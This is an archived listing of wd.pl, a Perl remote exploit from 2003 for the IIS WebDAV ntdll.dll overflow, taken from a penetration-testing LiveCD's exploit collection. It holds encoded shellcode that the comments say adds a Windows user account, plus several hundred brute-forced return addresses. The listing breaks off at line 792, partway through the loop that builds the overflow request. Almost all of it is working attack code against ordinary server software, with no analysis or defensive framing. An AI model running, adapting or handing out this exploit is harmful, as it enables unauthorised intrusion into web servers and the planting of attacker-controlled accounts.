home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / wd.pl < prev    next >
Perl Script  |  2005-02-12  |  19KB  |  875 lines

  1. #!/bin/perl
  2. #
  3. # 2003.3.24
  4. #
  5. # mat@monkey.org
  6. # mat@panicsecurity.org
  7. #
  8. # tested on Windows 2000 Advanced Server SP3: Korean language edition
  9. # ntdll.dll with 2002.7.3 version
  10. # You need to change some parameters to make this exploit work on your platform of choice
  11. #
  12. # This exploit uses unicode decoder scheme and self-modifies unicoded shellcode to original one.
  13. #
  14.  
  15. use Socket;
  16.  
  17. if($#ARGV<0)
  18. {
  19.         die "usage: wd.pl <target hostname>\n";
  20. }
  21.  
  22. my $host=$ARGV[0];
  23.  
  24. my $url_len=65514;
  25. #LOCK: 65514
  26. #SEARCH: 65535
  27.  
  28. my $host_header="Host: $host\r\n";
  29. my $translate_f="Translate: f\r\n";
  30. $translate_f="";
  31. my $port=80;
  32. my $depth="Depth: 1\r\n";
  33. $depth="";
  34. my $connection_str="Connection: Close\r\n";
  35. $connection_str="";
  36. my $url2="B";
  37. $url2="";
  38. my $cont="C";
  39. my $lock_token="Lock-Token: $cont\r\n";
  40. $lock_token="";
  41. my $destination="Destination: /$url2\r\n";
  42. $destination="";
  43.  
  44. # LoadLibrary: 0x100107c;
  45. # GetProcAddress 0x1001034;
  46. # WinExec("net user matt 1234 /ADD")
  47. # this shellcode is encoded to printable string form
  48. my $shellcode="\x34\x34\x30\x2e\x2c\x2a\x61\x62\x48\x48\x2a\x2a\x2c\x2d\x7f\x80\x68\x69\x2c\x2c\x18\x19\x64\x65\x58\x59\x0c\x07%u0411%u00f0\x67\x67\x2c\x2a\x31\x2e\x18\x19\x64\x65\x58\x59\x7e\x7f\x56\x56\x1a\x1a\x4c\x4d\x55\x55\x71\x71\x7d\x7d\x38\x39\x4c\x4d\x4c\x4d\x4c\x4d\x4c\x4d\x62\x62\x0c\x0c\x3b\x39\x4e\x4e\x6c\x6d\x6c\x6d\x4c\x4d\x38\x38\x5f\x60\x4c\x4d\x4c\x4d\x4c\x4d\x64\x64\x67\x68\x78\x79\x72\x73\x44\x45\x4c\x4d\x4c\x4c\x61\x62\x33\x33\x45\x46\x08\x08\x2d\x2d\x60\x60\x08\x08\x33\x34\x64\x64\x67\x68\x65\x65\x78\x79\x56\x57\x44\x45\x4c\x4d\x4c\x4c\x61\x62\x33\x33\x45\x46\x64\x65\x1a\x1b\x0e\x0f\x2c\x2d\x76\x76\x31\x31\x60\x61\x19\x19\x60\x60\x3d\x3e\x3b\x38\x2d\x2d\x0c\x08\x16\x16\x07\x08\x6c\x6d\x6c\x6d\x4c\x4d\x0c\x08\x12\x12\x03\x03\x6c\x6d\x6c\x6d\x4c\x4d\x79\x7a\x4f\x50\x60\x60\x38\x39\x31\x2e\x33\x33\x33\x33\x33\x33\x54\x54\x27\x24\x65\x66\x08\x08\x3b\x38\x0c\x0c\x2d\x2e\x29\x29\x6c\x6d\x6c\x6d\x4c\x4d\x65\x66\x33\x33\x06\x06\x03\x03\x6c\x6d\x6c\x6d\x4c\x4d\x33\x33\x16\x16\x38\x38\x6c\x6d\x6c\x6d\x4c\x4d\x08\x08\x39\x39\x0c\x0c\x2d\x2d\x3b\x39\x6c\x6d\x6c\x6d\x4c\x4d\x65\x65\x64\x65\x08\x08\x2d\x2d\x33\x33\x06\x06\x1d\x1d\x6c\x6d\x6c\x6d\x4c\x4d\x65\x65\x33\x33\x06\x06\x1f\x1f\x6c\x6d\x6c\x6d\x4c\x4d\x54\x54\x27\x24\x04\x05\x04\x05\x65\x66\x08\x08\x3b\x38\x0c\x0c\x2d\x2e\x27\x27\x6c\x6d\x6c\x6d\x4c\x4d\x65\x66\x33\x33\x06\x06\x19\x19\x6c\x6d\x6c\x6d\x4c\x4d\x33\x33\x06\x06\x1b\x1b\x6c\x6d\x6c\x6d\x4c\x4d\x69\x69\x6e\x6e\x65\x66\x6b\x6c\x6e\x6e\x6a\x6b\x55\x55\x55\x56\x4c\x4d\x63\x63\x7a\x7b\x7d\x7d\x75\x76\x7e\x7e\x7c\x7c\x76\x77\x4c\x4d\x63\x63\x7a\x7b\x77\x77\x75\x76\x78\x78\x76\x77\x7e\x7e\x4c\x4d\x63\x63\x7a\x7b\x7d\x7d\x7a\x7b\x7b\x7b\x75\x75\x7e\x7e\x4c\x4d\x67\x67\x78\x78\x7b\x7c\x6e\x6e\x70\x71\x7e\x7e\x7d\x7d\x4c\x4d\x6e\x6e\x70\x71\x78\x78\x76\x77\x64\x65\x75\x76\x7b\x7b\x7d\x7d\x7e\x7e\x75\x75\x75\x75\x4c\x4d\x7d\x7d\x51\x52\x62\x63\x76\x77\x5d\x5a\x7e\x7e\x70\x71\x7e\x7e\x4c\x4d\x4c\x4d\x4c\x4d\x4c\x4d\x7b\x7c\x7e\x7e\x76\x77\x5e\x5b\x76\x76\x75\x75\x7e\x7e\x75\x76\x5e\x5b\x7a\x7a\x7c\
  49. 5\x56\x57\x5e\x5b\x5b\x5b\x7c\x7c\x7e\x7f\x7e\x7f\x4c\x4d\x4c\x4d\x4c\x4d\x4c\x4d\x76\x77\x5d\x5a\x7e\x7e\x70\x71\x7e\x7e\x4c\x4d\x4e\x4e\x4c\x4d\x4c\x4d\x4c\x4d\x76\x77\x7e\x7e\x75\x75\x76\x77\x49\x4a";
  50.  
  51. my $body="<?xml version=\"1.0\">\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
  52. my $length_of_body=length($body);
  53.  
  54. #
  55. # jmp ebx,call ebx addresses
  56. #
  57. my @return_addresses=(
  58.  "%u32ac%u77e2",
  59.  "%uc1b5%u76ae",
  60.  "%u005d%u77a5",
  61.  "%u0060%u776b",
  62.  "%u00b4%u77a5",
  63.  "%u00e6%u77ac",
  64.  "%u014a%u7766",
  65.  "%u0392%u7511",
  66.  "%u03a0%u7511",
  67.  "%u0900%u6df1",
  68.  "%u0900%u778b",
  69.  "%u1167%u6b32",
  70.  "%u1184%u6ed4",
  71.  "%u1192%u6b3e",
  72.  "%u11b1%u779e",
  73.  "%u11b9%u777f",
  74.  "%u11b9%u782c",
  75.  "%u11d3%u7834",
  76.  "%u1800%u749e",
  77.  "%u20ac%u777f",
  78.  "%u215c%u777e",
  79.  "%u2171%u7766",
  80.  "%u2172%u6b3a",
  81.  "%u2191%u6e6f",
  82.  "%u21d4%u6e6f",
  83.  "%u2283%u730a",
  84.  "%u24b9%u7763",
  85.  "%u24d5%u7763",
  86.  "%u24e8%u7761",
  87.  "%u2503%u7834",
  88.  "%u2514%u77e2",
  89.  "%u251e%u77db",
  90.  "%u2521%u7761",
  91.  "%u2527%u77db",
  92.  "%u2530%u77db",
  93.  "%u253c%u77e2",
  94.  "%u2547%u77dc",
  95.  "%u2592%u77dc",
  96.  "%u266d%u76ae",
  97.  "%u2e00%u76ae",
  98.  "%u300e%u74da",
  99.  "%u300e%u74e3",
  100.  "%u306c%u7766",
  101.  "%u30a5%u77e5",
  102.  "%u30b0%u77e5",
  103.  "%u327b%u6e44",
  104.  "%u327b%u6e5e",
  105.  "%u329b%u6e44",
  106.  "%u329b%u6e5e",
  107.  "%u329c%u77e2",
  108.  "%u3384%u7779",
  109.  "%u3384%u777e",
  110.  "%u3397%u6e00",
  111.  "%u33d0%u76ae",
  112.  "%u3700%u777f",
  113.  "%u4e5e%u7900",
  114.  "%u4ea4%u7325",
  115.  "%u4ec0%u77db",
  116.  "%u4ef2%u77ac",
  117.  "%u4f73%u749f",
  118.  "%u4fd4%u77dc",
  119.  "%u4ff1%u749f",
  120.  "%u5023%u749f",
  121.  "%u5078%u77a5",
  122.  "%u5112%u77dc",
  123.  "%u5121%u749f",
  124.  "%u5144%u77dc",
  125.  "%u5146%u77e2",
  126.  "%u514e%u77ac",
  127.  "%u518d%u6dee",
  128.  "%u51c4%u7387",
  129.  "%u5237%u77ac",
  130.  "%u52a0%u777f",
  131.  "%u52a0%u782c",
  132.  "%u52d5%u777f",
  133.  "%u52d5%u782c",
  134.  "%u52f8%u7800",
  135.  "%u5339%u6b3a",
  136.  "%u5339%u777f",
  137.  "%u5366%u7740",
  138.  "%u555e%u741b",
  139.  "%u5653%u749e",
  140.  "%u5718%u6c7e",
  141.  "%u574d%u7901",
  142.  "%u5775%u7901",
  143.  "%u5806%u7325",
  144.  "%u5821%u777f",
  145.  "%u5821%u782c",
  146.  "%u5831%u777f",
  147.  "%u5831%u782c",
  148.  "%u587c%u777f",
  149.  "%u587c%u782c",
  150.  "%u58c5%u777f",
  151.  "%u58d5%u777f",
  152.  "%u58fd%u777f",
  153.  "%u58fd%u782c",
  154.  "%u5949%u72fc",
  155.  "%u5949%u777f",
  156.  "%u5955%u72fc",
  157.  "%u5967%u777f",
  158.  "%u5997%u777f",
  159.  "%u5997%u782c",
  160.  "%u59bb%u777e",
  161.  "%u59d4%u777e",
  162.  "%u5a25%u777f",
  163.  "%u5a25%u782c",
  164.  "%u5ac9%u777f",
  165.  "%u5b5a%u6c7e",
  166.  "%u5b64%u777f",
  167.  "%u5b8f%u6731",
  168.  "%u5b9c%u6731",
  169.  "%u5b9c%u6e44",
  170.  "%u5c04%u777f",
  171.  "%u5c0f%u6c7e",
  172.  "%u5c3b%u777f",
  173.  "%u5c3b%u782c",
  174.  "%u5c4e%u6c7e",
  175.  "%u5cfb%u76ae",
  176.  "%u5da0%u7511",
  177.  "%u5da2%u777f",
  178.  "%u5de6%u77e5",
  179.  "%u5deb%u777f",
  180.  "%u5deb%u782c",
  181.  "%u5e00%u6c11",
  182.  "%u5e0c%u7325",
  183.  "%u5e2b%u777f",
  184.  "%u5e3f%u7511",
  185.  "%u5e55%u777f",
  186.  "%u5e63%u7325",
  187.  "%u5eb8%u7325",
  188.  "%u5ef7%u7325",
  189.  "%u5f13%u7325",
  190.  "%u5f17%u77e3",
  191.  "%u5f1b%u777f",
  192.  "%u5f1b%u782c",
  193.  "%u5f62%u7325",
  194.  "%u5f7f%u72fc",
  195.  "%u5f99%u7325",
  196.  "%u5fb7%u6c11",
  197.  "%u5fcc%u7763",
  198.  "%u601d%u77dc",
  199.  "%u609a%u7387",
  200.  "%u60f6%u72fc",
  201.  "%u611f%u77bf",
  202.  "%u6144%u74da",
  203.  "%u6144%u74e3",
  204.  "%u6198%u7763",
  205.  "%u61a9%u74da",
  206.  "%u61a9%u74e3",
  207.  "%u61fa%u66c7",
  208.  "%u61fa%u671b",
  209.  "%u620a%u7325",
  210.  "%u6284%u66c7",
  211.  "%u62c8%u7763",
  212.  "%u62db%u72fc",
  213.  "%u62f1%u72fc",
  214.  "%u63a9%u77bc",
  215.  "%u63ed%u779e",
  216.  "%u64bb%u7761",
  217.  "%u64c1%u72fd",
  218.  "%u64e2%u777f",
  219.  "%u64e2%u782c",
  220.  "%u64f4%u777f",
  221.  "%u65b9%u6ed4",
  222.  "%u6600%u6ed4",
  223.  "%u66a0%u6c6d",
  224.  "%u66b3%u6c6d",
  225.  "%u66f3%u6c6d",
  226.  "%u66f8%u7387",
  227.  "%u674f%u7763",
  228.  "%u67b0%u7740",
  229.  "%u67b3%u6ed4",
  230.  "%u67d2%u749e",
  231.  "%u6816%u6ed4",
  232.  "%u6842%u779e",
  233.  "%u6881%u779e",
  234.  "%u6894%u779e",
  235.  "%u68b3%u777e",
  236.  "%u6977%u76ae",
  237.  "%u6a19%u7763",
  238.  "%u6a44%u7763",
  239.  "%u6aa3%u7518",
  240.  "%u6c60%u77bc",
  241.  "%u6c81%u7693",
  242.  "%u6c82%u77bf",
  243.  "%u6c92%u77bc",
  244.  "%u6cb8%u7693",
  245.  "%u6cdb%u777f",
  246.  "%u6ce5%u777f",
  247.  "%u6ceb%u7693",
  248.  "%u6d11%u777f",
  249.  "%u6d11%u782c",
  250.  "%u6d87%u77dc",
  251.  "%u6d89%u7693",
  252.  "%u6e2f%u7693",
  253.  "%u6e4d%u76ae",
  254.  "%u6f94%u77e9",
  255.  "%u6fae%u77bc",
  256.  "%u6fe9%u749e",
  257.  "%u7006%u77e9",
  258.  "%u7028%u7901",
  259.  "%u70ab%u77ac",
  260.  "%u70ac%u7387",
  261.  "%u70dd%u77ac",
  262.  "%u70dd%u784f",
  263.  "%u70fd%u77bb",
  264.  "%u711a%u6731",
  265.  "%u7199%u7387",
  266.  "%u71d0%u77bb",
  267.  "%u71fc%u77bb",
  268.  "%u722d%u6df3",
  269.  "%u7258%u7515",
  270.  "%u725f%u77db",
  271.  "%u72a2%u77a5",
  272.  "%u72c4%u7325",
  273.  "%u73fe%u6ed4",
  274.  "%u745f%u76ae",
  275.  "%u748b%u730a",
  276.  "%u74d8%u6df3",
  277.  "%u74e3%u6df3",
  278.  "%u7575%u7518",
  279.  "%u7642%u6c0f",
  280.  "%u76de%u7325",
  281.  "%u7704%u7325",
  282.  "%u77dc%u7693",
  283.  "%u78a9%u77e2",
  284.  "%u78bb%u77bb",
  285.  "%u790e%u6995",
  286.  "%u797a%u6995",
  287.  "%u79b1%u6995",
  288.  "%u79b1%u7740",
  289.  "%u79d1%u77bb",
  290.  "%u79e7%u6995",
  291.  "%u79e9%u72fd",
  292.  "%u7a00%u78fb",
  293.  "%u7a05%u72fd",
  294.  "%u7a3b%u72fd",
  295.  "%u7a57%u7387",
  296.  "%u7aba%u6995",
  297.  "%u7af9%u6c13",
  298.  "%u7b19%u76ae",
  299.  "%u7b6e%u777f",
  300.  "%u7b6e%u782c",
  301.  "%u7c83%u7763",
  302.  "%u7c97%u7763",
  303.  "%u7ca5%u7763",
  304.  "%u7d8f%u77e5",
  305.  "%u7dbe%u779e",
  306.  "%u7de1%u779e",
  307.  "%u7e1f%u6df1",
  308.  "%u7e1f%u778b",
  309.  "%u7e52%u6995",
  310.  "%u7f55%u77a5",
  311.  "%u7fa8%u77a5",
  312.  "%u7fd5%u76ae",
  313.  "%u8018%u775b",
  314.  "%u807d%u7387",
  315.  "%u80a5%u775b",
  316.  "%u8178%u775b",
  317.  "%u81c0%u77db",
  318.  "%u82ad%u6c11",
  319.  "%u82d5%u65f1",
  320.  "%u832f%u77db",
  321.  "%u8339%u76ae",
  322.  "%u83d3%u6df3",
  323.  "%u843d%u7387",
  324.  "%u8563%u77ac",
  325.  "%u8805%u7740",
  326.  "%u881f%u77db",
  327.  "%u8840%u77bc",
  328.  "%u8892%u7740",
  329.  "%u8892%u77ac",
  330.  "%u8a23%u6731",
  331.  "%u8a23%u7693",
  332.  "%u8a23%u77ad",
  333.  "%u8af1%u76ae",
  334.  "%u8b17%u6ed4",
  335.  "%u8b39%u76ae",
  336.  "%u8c6b%u77bf",
  337.  "%u8c7a%u77bc",
  338.  "%u8ca2%u77bc",
  339.  "%u8cac%u6df1",
  340.  "%u8cac%u778b",
  341.  "%u8d70%u6995",
  342.  "%u8dbe%u7740",
  343.  "%u8dcb%u77ad",
  344.  "%u8dcf%u777e",
  345.  "%u8e87%u6995",
  346.  "%u8f09%u6b32",
  347.  "%u9187%u76ae",
  348.  "%u925e%u749e",
  349.  "%u92f8%u77ad",
  350.  "%u932e%u76ae",
  351.  "%u93ac%u7740",
  352.  "%u9640%u6995",
  353.  "%u980a%u7763",
  354.  "%u984e%u6df3",
  355.  "%u985e%u7763",
  356.  "%u98dc%u7740",
  357.  "%u9920%u7916",
  358.  "%u9957%u77a5",
  359.  "%u9a5a%u779e",
  360.  "%u9b27%u6ed3",
  361.  "%u9cf6%u7518",
  362.  "%u9d26%u7518",
  363.  "%u9d5d%u7300",
  364.  "%u9d72%u7763",
  365.  "%u9edc%u7901",
  366.  "%u9ede%u77e9",
  367.  "%ua300%u76ae",
  368.  "%uac16%u7900",
  369.  "%uac17%u77db",
  370.  "%uac17%u7832",
  371.  "%uac4b%u77db",
  372.  "%uac4b%u7900",
  373.  "%uac52%u76ae",
  374.  "%uac5a%u76ae",
  375.  "%uac71%u7693",
  376.  "%uac84%u77e9",
  377.  "%uac97%u77e3",
  378.  "%uaca2%u6ed3",
  379.  "%uaca4%u6c0f",
  380.  "%uaca4%u77e9",
  381.  "%uacac%u6c0f",
  382.  "%uacaf%u77e3",
  383.  "%uacb6%u6ed3",
  384.  "%uacc8%u7693",
  385.  "%uace0%u7761",
  386.  "%uacfb%u7761",
  387.  "%uad0d%u77e2",
  388.  "%uad13%u7900",
  389.  "%uad18%u779e",
  390.  "%uad25%u7900",
  391.  "%uad27%u6ed3",
  392.  "%uad45%u77e2",
  393.  "%uad5b%u7900",
  394.  "%uad5f%u7387",
  395.  "%uad73%u6995",
  396.  "%uad73%u6b32",
  397.  "%uad7a%u6b32",
  398.  "%uada6%u775b",
  399.  "%uadab%u7900",
  400.  "%uadc4%u7387",
  401.  "%uadf0%u76ae",
  402.  "%uadf9%u6995",
  403.  "%uae12%u76ae",
  404.  "%uae80%u77e5",
  405.  "%uae96%u77e5",
  406.  "%uaf17%u77e3",
  407.  "%uafa2%u779e",
  408.  "%ub00a%u77e5",
  409.  "%ub05d%u77e5",
  410.  "%ub0c0%u6b32",
  411.  "%ub0ef%u7518",
  412.  "%ub100%u6b32",
  413.  "%ub100%u7518",
  414.  "%ub119%u7518",
  415.  "%ub138%u672e",
  416.  "%ub169%u6b32",
  417.  "%ub177%u672e",
  418.  "%ub181%u6b32",
  419.  "%ub1cb%u6ed4",
  420.  "%ub1da%u6ed4",
  421.  "%ub206%u6b32",
  422.  "%ub216%u6c0f",
  423.  "%ub23f%u7802",
  424.  "%ub240%u7693",
  425.  "%ub246%u6c0f",
  426.  "%ub260%u7693",
  427.  "%ub273%u76ae",
  428.  "%ub276%u6c0f",
  429.  "%ub27e%u779e",
  430.  "%ub288%u76ae",
  431.  "%ub293%u77e2",
  432.  "%ub29c%u72fd",
  433.  "%ub2a3%u6c0f",
  434.  "%ub2b7%u72fd",
  435.  "%ub2ca%u77e2",
  436.  "%ub2ef%u76ae",
  437.  "%ub342%u76ae",
  438.  "%ub3a2%u749e",
  439.  "%ub3b8%u749e",
  440.  "%ub3be%u749e",
  441.  "%ub3c3%u741b",
  442.  "%ub3f4%u741b",
  443.  "%ub405%u7802",
  444.  "%ub43a%u76ae",
  445.  "%ub44e%u6df1",
  446.  "%ub44e%u778b",
  447.  "%ub450%u76ae",
  448.  "%ub456%u6df1",
  449.  "%ub456%u778b",
  450.  "%ub468%u6ed3",
  451.  "%ub483%u76ae",
  452.  "%ub484%u72fd",
  453.  "%ub48b%u72fd",
  454.  "%ub498%u76ae",
  455.  "%ub4a6%u6995",
  456.  "%ub4af%u76ae",
  457.  "%ub4c0%u76ae",
  458.  "%ub4e8%u7832",
  459.  "%ub52d%u6995",
  460.  "%ub549%u77db",
  461.  "%ub554%u6995",
  462.  "%ub565%u77db",
  463.  "%ub56e%u77e9",
  464.  "%ub61d%u7763",
  465.  "%ub61f%u77e9",
  466.  "%ub62c%u7763",
  467.  "%ub652%u77e9",
  468.  "%ub65e%u77e9",
  469.  "%ub66a%u77e9",
  470.  "%ub6a4%u77db",
  471.  "%ub6a7%u7900",
  472.  "%ub6af%u6ed4",
  473.  "%ub6b7%u6ed4",
  474.  "%ub6b8%u77db",
  475.  "%ub6d5%u7900",
  476.  "%ub6dd%u77ad",
  477.  "%ub6dd%u77b0",
  478.  "%ub6ec%u77ad",
  479.  "%ub6ec%u77b0",
  480.  "%ub6f4%u77ad",
  481.  "%ub6f4%u77b0",
  482.  "%ub6f7%u7763",
  483.  "%ub6fc%u749e",
  484.  "%ub70e%u77ad",
  485.  "%ub712%u749e",
  486.  "%ub718%u749e",
  487.  "%ub778%u77e9",
  488.  "%ub784%u77e9",
  489.  "%ub790%u77e9",
  490.  "%ub79c%u77e9",
  491.  "%ub7a8%u77e9",
  492.  "%ub7ac%u77ad",
  493.  "%ub7b4%u77e9",
  494.  "%ub7c0%u77e9",
  495.  "%ub7cc%u77e9",
  496.  "%ub7d8%u77e9",
  497.  "%ub803%u775b",
  498.  "%ub819%u77ad",
  499.  "%ub992%u7763",
  500.  "%ub9aa%u7832",
  501.  "%ub9ce%u7763",
  502.  "%ub9d6%u7832",
  503.  "%uba10%u7832",
  504.  "%uba38%u7832",
  505.  "%uba6b%u77ad",
  506.  "%uba6b%u77b0",
  507.  "%uba73%u77ac",
  508.  "%uba74%u77ad",
  509.  "%uba74%u77b0",
  510.  "%uba7a%u77ad",
  511.  "%uba7a%u77b0",
  512.  "%uba7e%u77ad",
  513.  "%uba7e%u77b0",
  514.  "%uba8e%u7834",
  515.  "%uba9f%u7900",
  516.  "%ubaa8%u7834",
  517.  "%ubaae%u6876",
  518.  "%ubae8%u7900",
  519.  "%ubb34%u6876",
  520.  "%ubc0f%u77e5",
  521.  "%ubc37%u77e5",
  522.  "%ubcf9%u7834",
  523.  "%ubd00%u6c0f",
  524.  "%ubd24%u7834",
  525.  "%ubd38%u6c0f",
  526.  "%ubd65%u6c0f",
  527.  "%ubdb3%u672e",
  528.  "%ubdc8%u7740",
  529.  "%ubde6%u77db",
  530.  "%ube03%u672e",
  531.  "%ube1a%u7740",
  532.  "%ube30%u7901",
  533.  "%ube31%u77e5",
  534.  "%ube43%u7901",
  535.  "%ube53%u6995",
  536.  "%ube65%u77db",
  537.  "%ube75%u77e5",
  538.  "%ube87%u77db",
  539.  "%ubebd%u77db",
  540.  "%ubecf%u6995",
  541.  "%ubef8%u6995",
  542.  "%ubf37%u7834",
  543.  "%ubf45%u7834",
  544.  "%ubf65%u76ae",
  545.  "%ubf83%u7900",
  546.  "%ubf8a%u6995",
  547.  "%ubf92%u7900",
  548.  "%ubf9e%u7900",
  549.  "%ubfaa%u7900",
  550.  "%ubfba%u76ae",
  551.  "%ubfbf%u6c7e",
  552.  "%ubfc5%u77db",
  553.  "%ubfd2%u7900",
  554.  "%ubfe1%u7900",
  555.  "%ubfed%u7900",
  556.  "%ubff9%u7900",
  557.  "%uc003%u76ae",
  558.  "%uc02e%u77db",
  559.  "%uc02f%u77db",
  560.  "%uc036%u6995",
  561.  "%uc03a%u77db",
  562.  "%uc03e%u6c7e",
  563.  "%uc03f%u6995",
  564.  "%uc054%u76ae",
  565.  "%uc058%u6c7e",
  566.  "%uc0d5%u76ae",
  567.  "%uc0ee%u76ae",
  568.  "%uc120%u76ae",
  569.  "%uc142%u76ae",
  570.  "%uc189%u65f1",
  571.  "%uc1bc%u65f1",
  572.  "%uc1ef%u65f1",
  573.  "%uc1f3%u6b32",
  574.  "%uc1f7%u77e2",
  575.  "%uc21f%u6b32",
  576.  "%uc268%u76ae",
  577.  "%uc268%u77e2",
  578.  "%uc277%u76ae",
  579.  "%uc27f%u7834",
  580.  "%uc286%u76ae",
  581.  "%uc291%u77e2",
  582.  "%uc295%u76ae",
  583.  "%uc2a8%u76ae",
  584.  "%uc2d1%u76ae",
  585.  "%uc2e0%u76ae",
  586.  "%uc2ef%u76ae",
  587.  "%uc2fe%u76ae",
  588.  "%uc306%u7834",
  589.  "%uc30d%u76ae",
  590.  "%uc32a%u7834",
  591.  "%uc344%u7834",
  592.  "%uc35e%u7834",
  593.  "%uc39d%u6ed4",
  594.  "%uc3de%u6ed4",
  595.  "%uc3df%u6df1",
  596.  "%uc3df%u778b",
  597.  "%uc401%u7834",
  598.  "%uc445%u7834",
  599.  "%uc449%u6df1",
  600.  "%uc449%u778b",
  601.  "%uc459%u7834",
  602.  "%uc4f0%u7834",
  603.  "%uc504%u77dc",
  604.  "%uc56b%u7834",
  605.  "%uc578%u77e9",
  606.  "%uc57a%u6c0f",
  607.  "%uc583%u76ae",
  608.  "%uc597%u76ae",
  609.  "%uc5d6%u77ac",
  610.  "%uc5d7%u77ac",
  611.  "%uc5e1%u77ac",
  612.  "%uc5eb%u77ac",
  613.  "%uc663%u76ae",
  614.  "%uc676%u6e44",
  615.  "%uc676%u6e5e",
  616.  "%uc677%u76ae",
  617.  "%uc6f3%u6c42",
  618.  "%uc748%u76ae",
  619.  "%uc776%u76ae",
  620.  "%uc7a0%u77e2",
  621.  "%uc7da%u6b32",
  622.  "%uc7e1%u6b32",
  623.  "%uc7e5%u77e2",
  624.  "%uc860%u72c2",
  625.  "%uc860%u775b",
  626.  "%uc86d%u72c2",
  627.  "%uc86d%u775b",
  628.  "%uc87d%u72c2",
  629.  "%uc87d%u775b",
  630.  "%uc88d%u72c2",
  631.  "%uc88d%u775b",
  632.  "%uc89d%u72c2",
  633.  "%uc89d%u775b",
  634.  "%uc8ad%u72c2",
  635.  "%uc8ad%u775b",
  636.  "%uc8ba%u72c2",
  637.  "%uc8ba%u775b",
  638.  "%uc8c7%u72c2",
  639.  "%uc8c7%u775b",
  640.  "%uc8d4%u72c2",
  641.  "%uc8d4%u775b",
  642.  "%uc8e0%u77ac",
  643.  "%uc8fc%u77db",
  644.  "%uc936%u77db",
  645.  "%uc9d3%u77ac",
  646.  "%uc9f5%u6c0f",
  647.  "%uca02%u77ac",
  648.  "%uca25%u77ac",
  649.  "%uca2e%u6c0f",
  650.  "%uca5b%u77e9",
  651.  "%uca84%u77e9",
  652.  "%ucad1%u77e9",
  653.  "%ucaf1%u77e9",
  654.  "%ucb4f%u749e",
  655.  "%ucb72%u76ae",
  656.  "%ucb7a%u751a",
  657.  "%ucb7b%u76ae",
  658.  "%ucb7e%u7763",
  659.  "%ucb85%u7763",
  660.  "%ucb8f%u751a",
  661.  "%ucb98%u749e",
  662.  "%ucba4%u751a",
  663.  "%ucbae%u749f",
  664.  "%ucbd0%u77db",
  665.  "%ucc05%u749f",
  666.  "%ucc53%u76ae",
  667.  "%ucc81%u6df5",
  668.  "%ucc89%u6df5",
  669.  "%ucc8a%u76ae",
  670.  "%uccb5%u7901",
  671.  "%uccc7%u760d",
  672.  "%uccd6%u741b",
  673.  "%uccda%u760d",
  674.  "%ucd00%u741b",
  675.  "%ucd0f%u7901",
  676.  "%ucd2a%u741b",
  677.  "%ucd31%u7901",
  678.  "%ucd3c%u7518",
  679.  "%ucd3c%u7901",
  680.  "%ucdb0%u7761",
  681.  "%ucdb5%u7761",
  682.  "%ucdb8%u7761",
  683.  "%ucdf4%u741b",
  684.  "%ucdf9%u77e5",
  685.  "%uce2e%u7518",
  686.  "%uce46%u741b",
  687.  "%uce6a%u77e5",
  688.  "%uce74%u7518",
  689.  "%uce93%u77e5",
  690.  "%uce98%u7518",
  691.  "%ucf69%u6df5",
  692.  "%ucf71%u6df5",
  693.  "%ucf9c%u76ae",
  694.  "%ucfa6%u76ae",
  695.  "%ud067%u77db",
  696.  "%ud0a2%u77db",
  697.  "%ud0c5%u6b32",
  698.  "%ud109%u6b32",
  699.  "%ud11b%u77dc",
  700.  "%ud163%u7901",
  701.  "%ud17c%u7900",
  702.  "%ud181%u7900",
  703.  "%ud1a6%u749f",
  704.  "%ud1d2%u77ac",
  705.  "%ud1e0%u7901",
  706.  "%ud1ed%u77ac",
  707.  "%ud1f7%u749f",
  708.  "%ud1f7%u7900",
  709.  "%ud1fc%u7900",
  710.  "%ud206%u7763",
  711.  "%ud21c%u7834",
  712.  "%ud221%u7763",
  713.  "%ud225%u7834",
  714.  "%ud259%u6df5",
  715.  "%ud279%u749f",
  716.  "%ud287%u7834",
  717.  "%ud290%u7834",
  718.  "%ud2b6%u77e5",
  719.  "%ud2cd%u7900",
  720.  "%ud2d2%u7900",
  721.  "%ud2e1%u741b",
  722.  "%ud2f5%u741b",
  723.  "%ud2f5%u77e5",
  724.  "%ud309%u741b",
  725.  "%ud31d%u741b",
  726.  "%ud38a%u7901",
  727.  "%ud3aa%u7763",
  728.  "%ud3b9%u7763",
  729.  "%ud3bf%u7901",
  730.  "%ud3d7%u7763",
  731.  "%ud3db%u77dc",
  732.  "%ud4f5%u6b32",
  733.  "%ud514%u77ac",
  734.  "%ud51e%u77ac",
  735.  "%ud52d%u77e5",
  736.  "%ud539%u6b32",
  737.  "%ud541%u6df5",
  738.  "%ud545%u7800",
  739.  "%ud6dc%u77d7",
  740.  "%ud6e2%u77a5",
  741.  "%ud700%u77e2",
  742.  "%ud75b%u7900",
  743.  "%ud780%u7900",
  744.  "%ue00e%u7900",
  745.  "%ue010%u7738",
  746.  "%ue020%u77db",
  747.  "%ue02b%u77ac",
  748.  "%ue04c%u7738",
  749.  "%ue04e%u6ed4",
  750.  "%ue056%u6ed4",
  751.  "%ue0ad%u779e",
  752.  "%ue0af%u7800",
  753.  "%uec00%u672e",
  754.  "%uf906%u7800",
  755.  "%uf909%u7763",
  756.  "%uf93f%u7763",
  757.  "%uf942%u751a",
  758.  "%uf94b%u77e9",
  759.  "%uf964%u77ac",
  760.  "%uf966%u7763",
  761.  "%uf968%u751a",
  762.  "%uf974%u77ac",
  763.  "%uf981%u751a",
  764.  "%uf991%u7763",
  765.  "%uf9a6%u7300",
  766.  "%uf9b3%u751a",
  767.  "%uf9c2%u7763",
  768.  "%uf9cd%u751a",
  769.  "%uf9e9%u7763",
  770.  "%uf9fb%u7300"
  771. );
  772.  
  773.  
  774. foreach my $return_address (@return_addresses)
  775. {
  776.  ######### return address ############
  777.  my $return_address_part="";
  778.  $return_address_part="";
  779.  $return_address_part.="%u3073";
  780.  $return_address_part.="%u3075";
  781.  $return_address_part.="%u3074";
  782.  $return_address_part.=$return_address;
  783.  $return_address_part.="%ucc38"x22;
  784.  #####################################
  785.  
  786.  ############  offsets ##############
  787.  my $offset_len=280;
  788.  my $offset_part="X"x$offset_len;
  789.  #####################################
  790.  my $shellcode_len=$url_len-(length($return_address_part)/6+$offset_len);
  791.  
  792.  my $offset_of_part_shell=0;
